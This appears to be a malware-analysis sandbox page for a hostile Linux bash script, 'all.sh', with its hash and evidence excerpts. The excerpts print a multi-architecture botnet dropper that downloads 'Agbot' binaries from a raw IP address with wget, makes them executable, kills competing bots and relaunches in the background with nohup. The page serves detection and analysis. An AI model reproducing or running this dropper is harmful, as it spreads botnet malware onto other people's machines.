Hostile 100% linux Download

all.sh

Downloads and executes remote bot

BusyBox redirected multi-architecture dropperRaw IP redirected download chmod execute
SHA-256c2769990e3885d20216605fcb60c23bacc067fcd9c793f7b3d875749bf4d2ee0

Evidence

BusyBox redirected multi-architecture dropper lines 1–40
1#!/bin/bash
2# ALL ARCH BOT DOWNLOADER - TITANJR
3
4# �?a ch? server
5SERVER="http://180.93.111.142"
6
7# H�m t?i v� ch?y bot theo ki?n tr�c
8download_and_run() {
9 ARCH=$(uname -m)
10 echo "[*] Detected architecture: $ARCH"
11
12 # X�c d?nh file bot ph� h?p
13 case $ARCH in
14 x86_64|amd64)
15 BOT="Agbot.x86_64"
16 ;;
17 i486|i586|i686)
18 BOT="Agbot.i486"
19 ;;
⋯4 lines
24 BOT="AgBot.armv7l"
25 ;;
26 aarch64|arm64)
27 BOT="Agbot.armv7l"
28 ;;
29 mips|mips64)
30 BOT="Agbot.mips"
31 ;;
32 mipsel)
33 BOT="Agbot.mipsel"
34 ;;
35 powerpc|ppc|ppc64)
36 BOT="Agbot.powerpc"
37 ;;
38 *)
39 echo "[!] Unknown architecture: $ARCH"
40 echo " …
chmod marks a variable path executable lines 71–94
71:27… ing $bot..."
72 wget -q $SERVER/$bot -O $bot
73 chmod +x $bot
74 done
75
⋯5 lines
81 echo "[*] Killing old bots..."
82 pkill -f titanjr
83 pkill -f Agbot
84 pkill -f AgBot
85 pkill -f mips
86 rm -f /tmp/titanjr
87 rm -f /tmp/Agbot*
88 rm -f /tmp/AgBot*
⋯6 lines
Background process with hidden output lines 99–122
99:9… _bots
100
101 # Download and run
102 download_and_run
103
104 # Check if running
105 sleep 2
106 if pgrep -f titanjr > /dev/null; then
107 echo "[+] Bot is running!"
108 ps aux | grep titanjr | grep -v grep
109 else
110 echo "[!] Bot may have died. Trying alternative..."
111 # Th? ch?y v?i nohup
112 cd /tmp
113 nohup ./titanjr all > /dev/null 2>&1 &
114 sleep 2
115 if pgrep -f titanjr > /dev/null; then
116 echo "[+] Bot started with nohup!"
117 else
118 echo "[!] Bot failed to start"
119 fi
120 fi
121
122 echo "============ …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.